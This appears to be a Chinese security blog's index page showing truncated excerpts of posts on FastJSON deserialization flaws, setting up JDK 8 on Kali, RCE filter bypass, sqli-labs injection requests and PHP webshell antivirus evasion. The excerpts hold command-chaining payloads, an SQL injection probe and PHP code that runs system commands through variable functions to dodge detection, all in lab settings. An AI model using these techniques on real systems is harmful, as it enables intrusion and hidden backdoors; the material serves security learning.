FastJSON漏洞解析与防范策略
FastJSON漏洞解析与防范策略引言FastJSON是Java生态系统中广泛使用的JSON解析库，以其高性能和易用性而受到开发者的青睐。然而，近年来，FastJSON被发现存在多个安全漏洞，这些漏洞被攻击者利用，可能导致严重的安全问题，如数据泄露、服务中断等。因此，理解FastJSON漏洞的原理和采取有效的防范措施对于保障Java应用的安全至关重要。 原理FastJSON漏洞的原理主要涉及到其解析JSON时的自动化类型转换机制。当FastJSON解析一个JSON字符串时，它会根据JSON中的内容自动将其转换为相应的Java对象。在这个过程中，如果攻击者精心构造了一个恶意的JSON字符串，使其在解析时能够触发特定的Java代码执行，就可能导致安全漏洞。例如，攻击者可以利用该机制执行任意代码、访问敏感数据或者造成拒绝服务攻击。这些漏洞的利用通常需要攻击者对Java类型转换机制和FastJSON的内部实现有一定的了解 123graph LRA(Java Object) --序列化--> B(Json)B --反序列化-->...
kali安装切换jdk1.8.0_451java8详细教程
kali安装切换jdk1.8.0_451java8详细教程下载链接： jdk-8u451-linux-i586.tar.gz链接: https://pan.baidu.com/s/1lpgI0JMfHpZ__RxsF8UoBw?pwd=x3z2 提取码: x3z2 解压jdk首先将下载好的压缩包放在kali虚拟机中，一般是直接拖到桌面 然后cd到压缩包的目录 1cd ./桌面 解压至/usr/local 1tar -xvzf jdk-8u451-linux-i586.tar.gz -C /usr/local/ 配置环境变量打开配置文件 1vim /etc/profile 在末尾添加以下内容并保存 123export JAVA_HOME=/usr/local/jdk1.8.0_451export CLASSPATH=.:${JAVA_HOME}/libexport PATH=${JAVA_HOME}/bin:$PATH 重新加载环境变量 1source /etc/profile ...
csrf漏洞
...
RCE绕过思路
RCE绕过环境准备虚拟机：Ubuntu 20.04.6 首先在根目录生成一个flag方便我们验证 1echo "flag{`openssl rand -hex 30`}" > /flag 绕过方法使用;连接命令ls;cat flag 123app boot dev flag lib lib64 lost+found mnt proc run snap swapfile tmp varbin cdrom etc home lib32 libx32 media opt root sbin srv sys usrflag{b22077aff5c239c0639ef50510a4789ebaeef2559c5824dcadaa02972555} 使用&连接命令在Linux系统中，& 符号用于将命令放入后台执行。当你在命令行中输入一个命令并在其后加上 &...
SQL-labs（Less1-10）
sqli-labs（Less1-10）Less-1123456789101112131415GET /pages/sqli-labs-master/Less-1/?id=' HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brReferer:...
免杀思路总结
免杀思路总结前言为了方便编写，使用$get1替换$_GET $_POST $_REQUEST，以此类推 免杀思路一（高危函数外传）12345<?php$get1 = "system";$get2 = "whoami";$get1($get2); 执行结果 1laptop-neu0j1ok\admin 免杀思路二（preg_replace）基本用法： preg_replace(array|string $pattern, array|string$replacement, array|string $subject): array|string $pattern 是用于搜索的模式，可以是字符串或字符串数组。 $replacement 是用于替换的内容，可以是字符串或字符串数组。 $subject 是要搜索和替换的字符串或字符串数组。 简单来说将$subject中用$pattern匹配到的字符替换为$replacement 1234$get1 = "/str/e";$get2 =...